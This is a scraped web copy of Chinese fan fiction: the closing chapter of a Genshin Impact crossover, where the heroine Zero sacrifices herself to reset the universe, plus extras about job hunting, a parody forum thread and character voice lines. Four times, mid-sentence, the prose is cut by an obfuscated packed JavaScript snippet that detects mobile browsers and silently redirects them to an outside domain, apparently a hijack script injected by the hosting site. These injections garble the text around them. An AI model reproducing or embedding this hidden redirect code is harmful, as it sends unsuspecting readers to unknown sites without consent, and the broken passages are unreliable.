新来的人类告诉原生的龙，星球之外的宇宙不可接触。好奇且自傲的龙接触宇宙，自身被侵蚀了，忘却了本心。 原生的龙成为了恶龙。正所谓凝视深渊过久，深渊也在凝视着你。污染自深渊恶龙之中喷薄而出。 遨游星际的我听到了原初之人的祈愿，与其定下契约，引导人类。 方舟被恶龙带来的深渊腐蚀太深，杀敌一千自损八百，我以龙之心为材料打造了一具新骨骼，获得了龙的权柄与概念，自龙的心脏中重生。 原初之人架构了星球的系统，正如你所言，最底层的逻辑架构是相悖的。 为了净化污染，修补系统，我将自己的躯骸一分为二，一半加以权柄制成棋子，设下棋盘，建立新的体系；另一半用龙的权柄填满，凑成一副完整的身躯，行走世间。 如果遗忘了初心，迷失了本心，最终变得与所对抗的邪恶相似。 为了不覆辙这样的结局，我设下第一次谋杀案，谋杀了神座上的自己，舍弃了降临者的位格，终结顶层的统治，将统治下放到棋盘上的棋子之中。 仅仅一次谋杀还是不够的，我以身入局，设下第二次谋杀案，谋杀了棋盘上的自己，舍弃了棋盘上的王座，终结了名为“岩神”的棋子统治，将统治完全交给人类后代。」 零沉默良久，总结：“所以你作为「心脏」也是残缺的，如果将神之心七枚棋子重聚，就能将「心脏」恢复完整。” 「心脏」颔首：“这正是终结一切契约的契约内容。” “届时，宇宙的意识就能取得完整的「概念」权能。” …… 零试过第三组弦线，指着中间的琥珀金色说：“这个石珀的力度、音色都正好。我也不急，最近可能没有空闲练习新曲，琵琶就放在你这里吧。” 漫步在璃月港的街巷之中，烟火气的人间百态从身边一一而过，思绪如波涛一般起伏不定，一阵孩童的哭闹声打断了沉思。 声音来自不远处的一个小巷口，零循声望去，只见一个孩子正坐在地上，双手紧握着，十个手指头翻来覆去，显然是在尝试解决一道对他来说颇为复杂的加减数学题。 孩子的眉头紧锁，眼眶里泛着泪光，显然已经为此苦恼了许久。 “要是有个会做算数的机器就好了！”孩子带着哭腔喊道，那稚嫩的声音中充满了渴望与幻想。 这句话如同一道闪电，瞬间照亮了心中的某个角落。 零似乎回到了地球，学校的小超市里，老板按着计算器算账。 计算器不断地响起“归零——归零——” “归零。”她长久地站在那儿，嘴里反复轻声咀嚼着这个词语。 14. 第 14 章 有人说，宇宙文明的诞生是一种错谬，文明是浩瀚群星的癌症，会让宇宙加速进入终末的结局。 但终末的结局是固定的，文明却不是唯一的原因。 结局之后还有后续，正如潘多拉盒底的希望。 若想迎接新生，就必先投身终结。 随着提瓦特星球轮回的尽头真相的揭露，星球蛋壳外的深渊昭然若揭。 抱着由于超出运算规则已经过载的派蒙，零对双子表示：“你们去做要做的事情吧，阿斯莫德不会再为难你们的，现在大家的目标是一致的。” 天理维系者，空之执政，阿斯莫德，也站在了直面宇宙深渊的第一线。 这是耗尽力量的法涅斯留下的最后一道指令。 「延续人类文明」 重逢的双子已经来不及享受团聚的喜悦，时间紧急，冰神已经将七枚神之心放上了天空岛属于第三降临者的棋盘。 第三降临者的骸骨即将重塑，旧世界即将燃起烈焰。 对此，冰神认为自我的牺牲也不要紧，无论是爱被封闭，还是自身被燃烧。 天空岛是曲率为负的星球的核心，要完全接触到宇宙真实的星空，得进入提瓦特人眼中的地下。 零抱着派蒙，来到风起地的大树下：“温迪老师。” 风神一身神装，温柔地说：“我知道你会来，一直在等你，跟我下去吧。” 蒙德地下倒立的风神像，风起地的封印阵。 千风之中那一缕希望的风，在无尽的轮回中见到了双子明光的被捕获，又见到了双子们承载了不应该承载的一切。 跨越星海的旅行者，不应成为吸纳深渊污染的载体。 利用时之执政伊斯塔露的力量，温迪中止了星球为了寻找生存之道不断轮回的运算程序：“无论结局如何，轮回到此为止吧。” 零将全新的运算规则输入「原初永恒统辖矩阵」，昏迷的派蒙被交给了风神：“系统重装需要时间，派蒙就拜托给温迪老师了。还有……” 走到门前，她回头说：“也请温迪老师转告所有人：不要回航，也不要回头。” 风神收起往日的洒脱，郑重地颔首：“好，愿千风护佑你，我们能再次共奏。” 荒地生星，璨如烈阳。 第三降临者，宇宙贵金之心重塑，如太阳一般照亮了星球，照亮了宇宙涌动的暗能量和暗物质。 此即为深渊。 深渊如贪婪的巨兽，面对方舟垂涎欲滴。 没有了天理规则的束缚，古龙大权回到了元素龙王体内。 贵金的心脏给老友留下守护星球的嘱咐，投身星海。 星球上无数人，无论是仙灵还是龙王，无论是神之眼还是普通人，前赴后继，抵抗着深渊的入侵。 “如果有人告诉我，命运的织机早就织好了终末的图景，那么我会毫不犹豫地断机杼。” 鎏金的0与1在星海般的眼眸中滚动。 最后一层封印的记忆觉醒，神性之下，是人性的信念。 她举起一把随处可见的匕首，没有一丝颤抖，坚定地划开了胸膛。 痛。 这就是痛感。 比吃辣椒还要痛上百万倍、千万倍、万万倍、亿万倍……无数倍。 剖开身躯，巨大的黑洞显露，此乃吞饕权能的本体。 烈阳的照耀下，人们能在星球上清晰地观察到黑洞在宇宙中源源不断地吞噬着深渊。 熵增即将到达临界点。 虚无的「躯壳」飘浮在宇宙中，眼睛没有一丝焦点，仿佛又回到了没有学习到人类的时候。 人类的意识陷入沉寂，「心脏」与「躯壳」露出本来的形态——中子脉冲双星，沿轨道相互盘旋，释放出足以撼动虚数之树与量子之海的辐射喷流。 拥有唯一性的宇宙的意识体苏醒了。 连人形都没有的身躯，像瓷器高温骤然遇冷一般，如冰破裂。 在层叠的裂片之间，是跳动的玄幽之火。 墨金色的火焰，来自于中子星星震爆炸的高温。 自墨色的星鞘而起，层层递进成墨金色的星冕，直至羽状深裂的金色星珥。 不可名状之物，正是被熵增膨胀到即将终末的宇宙自身。 【祂】睁开金色的眼睛，使用【概念】的权能。 【定义，熵，皆为宇宙自身的能量。】 自此，无论熵增还是熵减，都是宇宙自身的能量，而非外来敌患。 【概念】的权能使得【祂】的声音响彻星海。 然后，【祂】闭上了眼睛，「躯壳」与「心脏」，再次分离。 “摩拉克斯！”她第一次以星球的名号呼唤，“去保护方舟起航，这里有我。” “别忘了，不要独行，拉尼亚凯亚。” 留下嘱咐，同为本源，不需纠结，摩拉克斯围着方舟筑起天彗星墙。 “那是当然，我还有东西在你那儿呢。” 她伸出手，是时候重塑宇宙的底层逻辑了。 立于虚空之中，周身环绕着璀璨的星辰与流淌的银河，中子星开始震动与重组。破碎的星系重新凝聚，黯淡的星光变得耀眼夺目。 代码一行一行覆写。 架构一层一层搭建。 全新的底层逻辑得以展现。 雪孩子做了一件值得骄傲的事，而不是什么都不做，等待命运到来，阳光把自己毫无意义地融化。 面对已经被定义为宇宙自身能量的深渊，她坦然地接受了终末。 「万象归零」 …… 宇宙熵增趋势推动万物走向无序，生命却与之抗争。 暗能量使宇宙膨胀加速，将一切撕裂；暗物质产生的万有引力导致宇宙收缩。暗能量主导的宇宙大膨胀到某个临界点后会开始收缩。 最后宇宙中所有的时间、空间、物质、暗物质、暗能量重新成为一个点——「奇点」。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463382|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 它是无限趋近于0的熵值，但永远不是0。 这是一个概念，不是人。 作为人类的零，化为虚无。 作为躯壳的拉尼亚凯亚，化为虚无。 在这片宇宙塌缩的那一刻，由所有人保护的提瓦特星球，成为真正的方舟飞船。原始胎海灌溉着世界树，大慈树王作为约定的领航员，在天彗星墙的环绕下，星辰起航。 不要回航。 也不要回头。 提瓦特星球上所有的能量都在维持着方舟航行。 贵金的心脏轻轻地将方舟推离毁灭的宇宙，注视着它沿着金色的航道前行。 “你要去哪里？”岩元素龙王问。 贵金的心脏说：“我还有未尽之事。” 来不及挽留，人类文明最后的希望跳跃到了拉尼亚凯亚指明的锚点未来。 对着寂静的虚空，他说：“我们终将离别，也终将重逢。” 在宇宙塌缩的终焉，极有可能发生一种奇妙的现象：时间反演。 作为人类的零，此刻的意识反演到了故事的开端。 混沌的虚无「躯壳」漫无目的地飘荡星海之中。 零温柔地抱住「躯壳」。 「躯壳」睁开了如雏鸟般懵懂的眼睛：“你是谁？” “我是人类。”零说。 「躯壳」又问：“我是谁？” “你叫「零」。” 她的手抬起，指向命运的远方。 “去吧，去观察、经历、感受一切，希望你能从中学到人类如星尘般的生命中最珍贵的东西。” 她亲吻「躯壳」。 “这是我对你的「爱」。” 宇宙终将毁灭的结局是不可逆的，人类在祈愿「奇迹」和「希望」，宇宙何尝不是呢？ 「奇迹」和「希望」是纯美的一部分，也是宇宙意识的权能。 宇宙可以无止境地凤凰涅槃般重生吗？ 无人知晓，因为无法证实。 寄托了她的一切人类情感的琵琶，飘浮在黑暗之中。 「心脏」伸手托起似乎绝对不可能托起的「奇点」。 宇宙的终焉形态「奇点」，被初心一点点唤醒，被看似最微小却也最珍贵的人类情感浸透。 人的形态凝聚成实体。 「心脏」呼唤：“零。” 承受了宇宙之树的一切熵增与熵减，人形的躯壳如碎瓷般裂开，玄幽之火喷薄而出。 “无妨。” 「心脏」说，不在意玄幽之火的炙烤，握起躯壳的手。 “我将与你同行。” 一切归于终寂之后，记忆的权能以宇宙意识的记忆为蓝图，令诸界复生。 裂痕一点一点合拢，火焰一点一点抑制。 零睁开了星海般的眼睛，她说： “这下回去不得不写开题报告，还要参加校招求职活动，完蛋。” -正文完- 15. 番外一·萌新大学生求职活动[番外] 拎着奶茶袋，推开门，院子里阳光正好，紫藤架下，两位退休人士正在喝茶下棋，听到开门声，不约而同地朝这里看过来。 “小零回来啦。”王耀招呼：“面试怎么样？” 钟离说：“以普遍理性而论，如果有好消息，她不会是这个表情。” 扎心了。 为什么只有我一个人需要参加求职活动？ 你们这些退休人士！ 零拉开摇椅，瘫倒在上面，从奶茶袋里掏出喝了一半的奶茶：“这个工作是非找不可吗？！” 王耀说：“不找也行啊，可要找工作的不也是你自己嘛。” 话是这么说，可是…… “我已经面了十家了，每次都是进到HR面就被删了。”零眼神虚无地望着架子上的小鸟，“网上不是说进到HR面就稳了嘛。” 钟离一针见血：“以普遍理性而论，任何一个HR听到你入职的目的是为了找冤大头参与实时动态地球建模项目，都会觉得你来错地方了。” 话是这么说也没错。 在实时动态提瓦特星球建模的基础上，如果借助人类的智慧，制作一个宇宙建模，以后行事会更方便。 零一开始想简单一点，做一个拉尼亚凯亚超星系团的实时动态建模。 当然，这也的确不简单，一口是吃不成胖子的。 于是从超星系团被缩减到银河系，又从银河系被缩减到太阳系，最终连太阳系都被砍成了地球本球。 零觉得自己已经退让了很多，本着坦诚的原则，在深入面谈的过程中如实说出自己的想法。 有的HR用看深井冰的目光看她，有的HR十动然拒，有的HR比较高情商，建议她自己创业拉赞助。 创业有那么好创吗？ 初心就是专心研究开发，一旦创业，涉及到管理、投资、报税等等乱七八糟的事情，想想就烦。 所以找棵能提供大量聪明人类一起支持自己搞研究，还管资金等等一切闲杂事的大树（冤大头）是当务之急。 事实证明，人类又不是傻子。 王耀定点高冲茶叶，帮着分析：“公司是为了盈利，你这个别说短期了，中长期都很难盈利。如果进国有单位，那里拨款更麻烦，限制也更多，人情关系也很复杂，更加不适合你。” “从长远看，你的项目对于地球人类发展大有裨益。” 钟离喝了一口茶，随口点评：“大红袍第三泡果然香气尤甚。”然后继续刚才的话题，“但这也涉及到国家层面的经济、政治等多方面问题，毕竟现在是百年未有之大变局。” 对于长生种而言，百年不过须臾；对于短生种而言，百年足以翻覆一个民族、一个国家、一个文明的兴亡。 看着选择在摇椅上躺平的萌新大学生，王耀安慰：“我们小零已经很努力了，长大了那么多，车到山前必有路，不必吊死在这一棵树上。转换一下心情，你有个快递送来，在那里。” 零扭头看着边上的快递箱，箱子上是熟悉的米氏LOGO，双眼放空：“不会吧，真的寄来了，我以为是开玩笑呢。” “什么东西？”王耀看着她开箱，从泡沫箱里举起一串绿油油的仿佛是刚从树上砍下来的香蕉，箱底还附上一张卡纸，赫然是「禁止蕉绿」四个大字。 退休人士们都笑了。 举着香蕉的中奖幸运儿高兴不起来：“校园墙上发了转发睡蕉小猴微博抽奖的消息，我随手一转，没想到私信通知我中奖了让我发地址，我还以为是开玩笑呢。” 钟离进行无效安慰：“从某种意义上说，也是劝慰你无需焦虑之意。” 王耀接过卡片，仔细地读了读卡片背后的水培指导，从屋里拿出一个龙泉窑豆青釉盘口瓶，帮忙把那一串绿色香蕉插了进去。 古瓶配绿色香蕉，不知为何有一种协调又微妙的错觉。 零拿起手机拍了张照，点开校园墙一看，心理终于得到了些许安慰：“还有人收到了整整两公斤香蕉，拿香蕉当饭吃哇。” 王耀趁机问：“这家公司你没去投过吗？说来也算有一点千丝万缕的渊源。” 借助零在地球的记忆锚点，方舟跳跃到了这里，最终在隔壁的仙女星系停泊，步入全新的时代。 而星球的记忆随着跳跃的波动，影响到了地球，余波在这里留下了以之为蓝图的游戏。 对此，零终于体会到了行秋在稻妻容彩祭上被璃月人逮住的窘迫感。 钟离指出：“有点近乡情怯的意味了，虽然这个词语用得也不甚贴切。” 他对此感受良好，毕竟是能用“岩王帝君和我钟离有什么关系”的朴素心态看待璃月人私下流行先祖法蜕抱枕的强大社牛。 故而，刚来地球的时候，他就发表了“能用游戏记录历史，也是一桩佳事”的言论。 零不甘示弱地反驳：“那你还把长发收起来了。” 社牛本牛淡定地说：“以普遍理性而论，地球上的男性人类大多都是短发，这叫入乡随俗。” 零拉出王耀的例子：“老师也是扎辫子的。” “哎哎哎？”引火烧身可不行，王耀赶紧解释，“这是胶东半岛！是不可分割的一部分！” “总之，”两位退休人士建议，“为什么不去试一试呢？” 零刷着校园墙，点开校招宣讲会的帖子，陷入了沉思。 从学校食堂出来，零正好遇到难得见几次的宿舍舍长。 从家到学校地铁直达，平时不怎么住学校里，但根据王耀“多个信息渠道好办事”的人类社会原则，还是和宿舍舍长保持了一定意义上的融洽。 舍长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463383|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉住她：“嗨呀辅导员问了我关于你的事好几次，我都要被辅导员弄焦虑了。” 我可以把那串绿色香蕉送给你或者辅导员。 零心里这么想着，嘴上却说：“真的假的？” “行了别学小地瓜了，你也要去参加宣讲会吧？我们边走边说。”舍长和她一起往会场走，嘴里像说贯口一样流畅。 “辅导员的原话；我们系里这届我最看好的应该最不让我担心的学生，怎么投了十个大厂都被拒了，那些大厂是眼瞎吗。反正为了就业率KPI，辅导员焦虑得不得了，还要旁敲侧击问我，你有没有因为被拒了产生心理问题。” 嗯，那串绿色香蕉送给辅导员吧。 零想着，用王耀的话回答：“其实不就业也问题不大。” 舍长愣了愣，说：“完了，真出心理问题了？这下辅导员要抓狂了。” “唔，开玩笑的，不然我干嘛来参加宣讲会。”零说，伸手接过校招宣传单，跟着人流走进乌压压人头的会场。 希望，这次能找到有用的大树。 一如既往，初筛、笔试、一面、二面都通过了，理论上三面是HR，结果进屋的时候才发现不像是HR。 “我们看到你的就职意向自述里提到了研究开发实时动态星球建模，能不能给我们展示一下目前你的研究进度。” “准确来说，我的短期目标是地球建模，长远目标是宇宙建模。”她打开笔记本，投影出提瓦特星球，“这是我的前期研究，基于别人给我的残缺的底层逻辑架构，加了我的一些小修改。” 它正静静地停泊在仙女星系，星球上的万象变化都清晰可见，甚至能见到波浪与风共舞，飞鸟与云同游，云来海上船只往来，天蛇船星际泊场起降繁忙。 关了灯的屋子里一片寂静，良久才听到有人问：“你是游戏深入爱好者吗？” “我没有玩过游戏。”她答道，“你要相信，宇宙之大，无奇不有，世间万象都有存在的意义。” 黑洞洞的屋子里，星海般的瞳孔无比明亮。 “星震不是毁灭，而是新生。” “文明并非浩瀚群星的癌症，没有文明的宇宙寂静如死亡，还有什么存在的意义呢？” 叽叽嘎嘎喳喳，喜鹊蹦跶在瓦片上。 王耀抬头望着，说：“喜鹊报喜啊。” 钟离说：“人类不乏理想主义者，能在被现实磨损到最后一刻还坚持践行理想，值得尊重。” 王耀掏出手机，点进五常群里开始打字，一边说：“是时候再找些‘冤大头’助阵了。” “嗯？” 王耀露出狡黠的笑容：“为了庆祝孩子入职成功，他们这些看着孩子长大的长辈，当然应该表示表示，攒一笔就职启动资金才行嘛。毕竟孩子上班也要花销的，不是吗？” 16.番外二·论坛体[番外] 【起猛了，策划终于知道海灯节送新五星了！】 1楼 很难不怀疑是提瓦特篇结束后出不了第二章，先送个新五星安抚一下。 仔细一看，新五星的服装建模也太敷衍了吧？ 谁家五星穿连帽衫进卡池啊？ 2楼 派蒙：来，上《必备佳品》全文背诵。 3楼 回复 2楼 这件衣服可是我参加国际大学生程序设计竞赛作为优胜者的定制款，防水耐脏保温，居家旅行刷题研究必备佳品。 4楼 回复 3楼 好活当赏。 5楼 正经说，免费送，0命就共鸣七大元素力增幅。 一命提高全队攻击力。 二命增加虚数、量子共鸣增幅。 要啥自行车啊，高低给策划磕头，深渊周本宝座预定。 6楼 回复5楼 别磕头。 提瓦特篇结束后，第二章肯定涉及到虚数、量子，这纯纯骗氪嘛。 先送你一个，再骗你抽两个。 7楼 还是唯一一个没有神之眼的卡池角色（扇子笑） 等等，爷也没有神之眼，哦，爷没进卡池骗氪。 8楼 初次见面时说了：我只是个手无缚鸡之力的非战斗人员，你问我为什么是五星？我也不知道，你去问策划。 打破第四面墙，明明白白告诉你，都是策划的阴谋！ 9楼 回复8楼 《手无缚鸡之力》指的是只要站桩，就能给队友奶BUFF，还能奶出物理攻击一拳超人是吧。 10楼 回复9楼 我的优菈有救了！我的云堇有救了！ 11楼 回复9楼 语音里说了：最好不要找我去战斗，你看别人比我能打多了吧？ 人家还不想打架（我知道是真不会打），结果被策划送上周本站桩宝座。 12楼 策划：站桩的事怎么能叫战斗呢？就加加BUFF嘛。 我妈：坐办公室的工作怎么能叫辛苦呢？就玩玩电脑嘛。 13楼 回复12楼 同一个世界同一个妈，扎心了。 零：策划你小子等着哈，今晚就黑了米总部。 14楼 回复13楼 稀有的黑发卡池角色黑了米总部，何尝不是一种双黑洞（black hole binary）呢。 这则笑话把两个【黑】，巧妙地和英语binary、角色大招黑洞结合起来，令人忍俊不禁 15楼 回复14楼 赛诺，闭嘴。 16楼 回归正题，难道楼主没发现，最可恶的是，穿璃月裙装的零，在云翰社的任务里是有精细建模的！ 然后就故意不出皮肤！就出个连帽衫！ 老米你罪大恶极！ 17楼 回复16楼 老米传统嘛，眼馋你，就不出皮肤。此处@三星堆联动（扇子笑） 18楼 过剧情的时候差点以为我女儿要无了，最后还能一起过海灯节真是太好了。 19楼 楼上的，谁女儿？我女儿！ 20楼 岳父们说的都对，是我老婆。 21楼 xp党虽迟但到。 22楼 我的老婆是零，零的老婆是云堇，都可以，大家都是我的翅膀。 23楼 我常常因为自己不够变态而感到和你们格格不入。 24楼 没事，外面已经为了零的老婆是谁打了好几轮架了。 目前票数第一是云堇，第二是数学，第三是爷。 25楼 爷竟然没打过数学？ 26楼 回复25楼 数学题又没有血条，不会就是不会。 27楼 说的好有道理，可恶。 28楼 钟离票数竟然那么低？以普遍理性而论，这俩出自本源。 29楼 回复28楼 xp党们一致认为，一个完整的家庭，应该有钟离爹，爷和老婆，还有老婆的老婆。 30楼 又是被xp党吓死的一天。 31楼 回复28楼 老婆都说了，不要用人类的情感价值观来看待左手和右手的关系。 不过人类的xp是无穷的，我投数学一票，老婆替我狠狠干死数学。 32楼 我已经刷到零×数学的同人文了，对，老婆攻数学受。 33楼 回复32楼 逆天。 （rwkk） 34楼 链接甩这里了。 作者还写个零×数学的车，密码是一道数学题答案，提示用费曼积分法。 35楼 回复34楼 想看车的心，在看到数学题的那一刻，幻肢都萎了。 36楼 费曼积分法是什么……何其歹毒的心不让我上车…… 37楼 蹲等数学大佬给答案。 38楼 所以真的让零战斗的话，战斗动作是什么？谁有测试服视频甩一个看看？ 39楼 回复38楼 测试服视频链接甩这里了。 简单来说就是，数学题恐怖如斯。 40楼 用数学题砸怪，噫，好怪，看一眼，噫，好怪，再看一眼，这很合理。 41楼 数学题不会做就会死，这比人被杀就会死合理多了（确信） 42楼 谁家好人用琵琶弹圆周率砸人啊？ 哦，我老婆啊，那没事了。 43楼 元素爆发干脆就是黑洞扬了，隔壁列车老杨看了都说好。 44楼 不得不说，把爹和老婆的元素爆发语音连在一起，还挺有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14466320|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趣的。 天动万象，万象归零。 45楼 回复44楼 顶真嘛。 46楼 什么顶什么真，文盲露出了呆滞的表情。 47楼 回复46楼 顶真，又叫顶针格，就是前面结尾的词语或句子作下一句的开头。 比如欧洛伦说的“军书十二卷，卷卷有爷名”。 48楼 欧洛伦：坏了，我成花木兰了。 49楼 隔壁原学家们已经在讨论零的技能背后隐藏的未来游戏走向了。 50楼 先让原学家们打一架，谁赢了再来通知朕。 51楼 编剧：正愁没灵感呢（扇子笑） 52楼 都出了虚数和量子了，不搞点列车联动吗？ 还挺想看超星系星团黑洞和拟似黑洞对撞的。 53楼 回复52楼 你小子，唯恐宇宙不乱是吧。 54楼 别说，还真别说，有这个可能。 钟离的新增语音里提到零重塑的躯体并不稳定，目前靠他帮忙，但不是长远之计。 已知，主线里零有了好几个权能（不是命途），有理由推测，后面会是找星神回收权能，稳固躯体。 55楼 什么大房东找二房东回收房产剧情，1818黄金眼是吧。 56楼 回复54楼 看了原学家的分析，不算是回收权能，而是觉醒权能。 就像这个功能本来就装在你手机里，你从来没有点开激活使用。 现在你想起来自己竟然还有这一招。 57楼 回复56楼 即便如此，依旧还是非战斗人员。 你说她没本事吧，有本事。你说她有本事吧，打不了一点。 58楼 为什么要苛责学术人才（我老婆）？ 语音里都强调了力量不在她这里，还贴心地建议要不要上核动力，快进到提瓦特星球大战。（扇子笑） 59楼 说到语音，最有乐子的就是和胡桃的语音。 第一次看到胡桃能怕一个人怕到要绕道。 60楼 回复59楼 客卿：一物降一物。 61楼 回复60楼 堂主：送你三本习题集，做不出来没工资！ 62楼 讲真，如果是我这种数学学渣，也会看到好为人师的学神选择绕道。 大神放了我，我是真不会做题！ 63楼 躲不了，躲不了一点，生日会送你数学习题集。（扇子笑） 64楼 好消息：生日礼物是老婆亲手做的。 坏消息：是数学习题集。 65楼 乐，欢愉，太欢愉了。 66楼 6，阿哈看了都自愧不如。 -end- 17.番外三·角色语音[番外] 零 生日：10月1日 所属：云翰社 神之眼：无 武器类型：无 命之座：无 称号：钧天筹乐 初次见面： 你好，我只是个手无缚鸡之力的非战斗人员，你问我为什么是五星？我也不知道，你去问策划。最好不要找我去战斗，你看别人比我能打多了吧？嗯，站在边上看看也不是不行。 闲聊·演奏： 我练习演奏的目的就是体验人类的感情，老师以前说我的演奏只有技巧没有感情。唔，你说听得出人类的感情了？谢谢，我的学习终于有进步了。 闲聊·喜好： 须弥那首用斐波那契数列写的复合拍曲子，融合了数学和音乐的美，我很喜欢，最近一直在练习。 打雷的时候： 雷雨云中有积累并形成极性的放电现象。 下雪的时候： 有人说每片雪花都是独一无二的，在我眼里都是水。 阳光很好： 很喜欢晒被子的紫外线味。 早上好： 不知为什么，我周围都是爱早起的人，跟着被迫早起真的很痛苦。 中午好： 因为没有睡午觉的习惯，被迫早起后被迫精神十足。 晚上好： 这个时候就应该一杯红茶拿铁，看书刷题打游戏！ 晚安： 这么早你就睡了？难怪人类社会常说，年轻人正是长身体的时候。 关于自己·学习： 老师将人类的我抚养长大，教会我很多人类社会的东西，当然我自己也很努力地在学习，是不是小有成效？你问老师是谁？老师就是老师，唔，在这棵综合宇宙之树上迟早有机会介绍给你的。 关于自己·数学： 宇宙的起始与终焉都属于数学，人类会背叛、欺骗，但数学不会，因为数学题不会就是不会。数学面前人人平等，我虽没有战斗的能力，但能平等地教你做数学题。 关于我们·旅行： 其实很羡慕你能星海中有情感有知觉地遨游。我以前就不提了，现在还被管着怕裂开，什么时候才能自由自在啊。 关于我们·情感： 在你这里我体会和学习到了很多种人类情感，比以前进步得快多了！诶？你说我以前接触的好多都不是人类？说的也是…… 关于「神之眼」： 其本质是星球系统中人类具象化的愿望与记忆，不过幸好这里没有收集悲叹之种的孵化者。 有什么想要分享·乐器： 上次钟离帮我修了琴弦后，我发现原来还有石珀这种神奇的制弦材料。唔，如果请他帮我一口气制作个百来根长短不一的弦，我就可以试着弹弹古筝啊箜篌啊什么的。 有什么想要分享·团聚： 云堇说她自己偶尔想脱下戏服，远游海外。我就想如果和她一起去地球上游玩，一定会很开心。或者，下次和老师一起来璃月过海灯节，也会很不错吧，这种和亲近的人团聚的时光…… 感兴趣的见闻： 虚空终端正在进行星球铺开测试，我做了一点微不足道的工作，总之希望你能积极参与测试。 关于云堇： 云堇姐姐我的爱！呜呜呜，她值得最好的！诶，你说我的精神状态很奇怪？我们清澈大学生都这样，很正常。 关于辛焱： 辛焱给我缝抱枕，送我乐谱，像妈妈一样照顾我，除了吃饭的口味不合拍。 关于钟离： 你问我和钟离的关系？就是你左手和右手的关系。哎，不要用人类的情感价值观来看待我们这类……嗯，东西？概念？ 关于温迪： 温迪老师和我特别有共鸣，无论是演奏还是别的什么。我跟他约好了下次一起去月……咳咳，没什么。 关于行秋： 枕……行秋老师是很好的商业梦想伙伴，希望这样的商业伙伴多一点。 关于胡桃： 我在万文集舍见过她好几次，奇怪的是，她看到我就躲开。钟离说我不该找她做数学题，可我就教过她一次啊。 关于凝光： 云翰社的金主爸爸，我喜欢白头发的大姐姐。 想要了解·其一： 云堇常说人生如戏，戏如人生。现在我也感受到了，被策划突然扔进卡池里，就是这种感觉。待会儿我要黑进他们那层楼的灯光系统。 想要了解·其二： 你想知道我来提瓦特之前的经历？相比钟离来说那真的是平平无奇，就是跟着老师一直在学习，和过去、现在和未来的你差不多吧。 想要了解·其三： 老师特别好，知道我不是人类也没有嫌弃或忌惮我，而是耐心地教我，还建议我学音乐。虽然以人类社会的经验来看，老师算是我的至亲长辈，但我还是叫他「老师」，这是独一无二的「老师」。 想要了解·其四： 我真的不会战斗，力量不在我这里。硬要说的话，我会军训时学的军体拳，会用一点点热武器，所以还是让我作为一个观察者站在一边吧。你说钟离也这么嘱咐你？哦，他是怕我裂开，裂开了，大家都得完。 想要了解·其五： 你是跨越星海之人，一定见过许多世界的景色。我盼望着终有一日可以像你这样自由地远渡重天，所以在研究开发由数据和算法构成的宇宙建模。希望你多给我提供一些内测体验报告，我可以用原石或星琼作为回报。 唔，当然，让我当舅舅党可不行，现在这个冤大——大树，能提供大量聪明人类和我一起搞研究，还管资金等等一切闲杂事，老师说要可持续性地薅羊毛。 零的爱好： 远古的真相总是会藏在童话、神话之中，把这类书当解谜书来看，比某些拙劣的推理小说有意思。 零的烦恼： 云堇为了保持体型，平时一口都不能多吃，可总是嘴馋会买点心，她只吃一口，余下的全都给我。虽然我是没什么，但看她烦恼纠结的样子，我第一次体会到什么叫“吃东西也会惭愧”。 喜欢的食物： 龙井虾仁、桂花红烧肉、八宝饭……这些都是老师的拿手菜，我很喜欢。 讨厌的食物： 也算不上讨厌，只是不怎么吃而已。辣不是味觉，是痛觉，刺激神经的过程难得几次就够了 收到赠礼·其一： 这个很好，有老师做的感觉。 收到赠礼·其二： 我去买个奶茶，一起吃吧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14466321|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >收到赠礼·其三： 有一种克苏鲁的美。 生日： 可喜可贺，今天是你的生日。我的生日其实填的是和老师相遇的那天，所以我没有真正的过生日的感情。总之，这个我亲手写的《公式和例题笔记》先送你，然后一起去奶茶店换一杯生日赠饮怎么样？ 突破的感受·起： 哦哦，原来是这种感受吗？自己好像是个蓄电池。 突破的感受·承： 从新能源二轮车升级到了新能源四轮车，可以考虑引进核动力。 突破的感受·转： 